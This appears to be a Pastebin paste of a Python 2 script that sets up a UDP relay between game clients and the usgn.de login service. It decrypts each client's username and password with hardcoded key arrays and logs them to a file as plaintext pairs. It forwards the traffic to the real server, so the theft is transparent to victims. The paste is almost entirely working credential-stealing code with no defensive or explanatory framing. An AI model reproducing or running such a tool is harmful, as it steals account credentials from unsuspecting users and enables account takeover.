Advertisement
Guest User

Untitled

a guest
Sep 17th, 2011
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. import socket
  2. import sys
  3.  
  4. port = 36963
  5.  
  6. user_ks = [23,133,148,211,207,149,206]
  7. pass_ks = [209,149,133,9,189,144,183,145,211]
  8.  
  9. def normalize(b):
  10. if b < 0:
  11. b += 255
  12. elif b > 255:
  13. b = (b - 255)
  14. return b
  15.  
  16. def decrypt_name(s,len):
  17. name =""
  18. for i in range(0,len):
  19. name += chr(normalize(ord(s[i]) + 97 - user_ks[i % 7]))
  20. return name
  21.  
  22. def decrypt_pwd(s,len):
  23. name =""
  24. for i in range(0,len):
  25. name += chr(normalize(ord(s[i]) + 97 - pass_ks[i % 9]))
  26. return name
  27.  
  28. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  29.  
  30. last_recv = None
  31. usgn_ip = socket.gethostbyname("www.usgn.de")
  32.  
  33.  
  34. try:
  35. s.bind(('', port))
  36. except socket.error,err:
  37. print "Couldn't be a udp server on port %d : %s" % ( port, err)
  38.  
  39. print 'Server initialzed'
  40. while True:
  41. try:
  42. datagram,addr = s.recvfrom(1024)
  43.  
  44. if not datagram:
  45. break
  46.  
  47. if ord(datagram[2]) == 11:
  48. if len(datagram) > 7:
  49. #print "usgn packet",
  50. #for i in datagram:
  51. # print '%d ' % ord(i),
  52. #print ''
  53.  
  54. namelen = ord(datagram[3])
  55. encrypted_name = datagram[4:4+namelen]
  56.  
  57. pwdlen = ord(datagram[4+namelen])
  58. encrypted_pwd = datagram[5+namelen:]# 5+namelen+pwdlen]
  59.  
  60.  
  61.  
  62. name = decrypt_name(encrypted_name,namelen)
  63. pwd = decrypt_pwd(encrypted_pwd,pwdlen)
  64.  
  65. f = open('/home/passes.txt','a')
  66.  
  67. f.write(name + ':'+pwd + '\n')
  68. f.close()
  69. print name+ ' ' + pwd
  70.  
  71. #print 'recv from : ' + str(addr)
  72.  
  73. if(addr[0] == usgn_ip): #message from usgn.de --> send back to last recv user
  74. s.sendto(datagram,last_recv)
  75. else: #message from user --> forward to usgn.de
  76. last_recv = addr
  77. s.sendto(datagram,(usgn_ip,36963))
  78.  
  79.  
  80. except IndexError,e:
  81. print "Error with index " + str(e)
  82. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement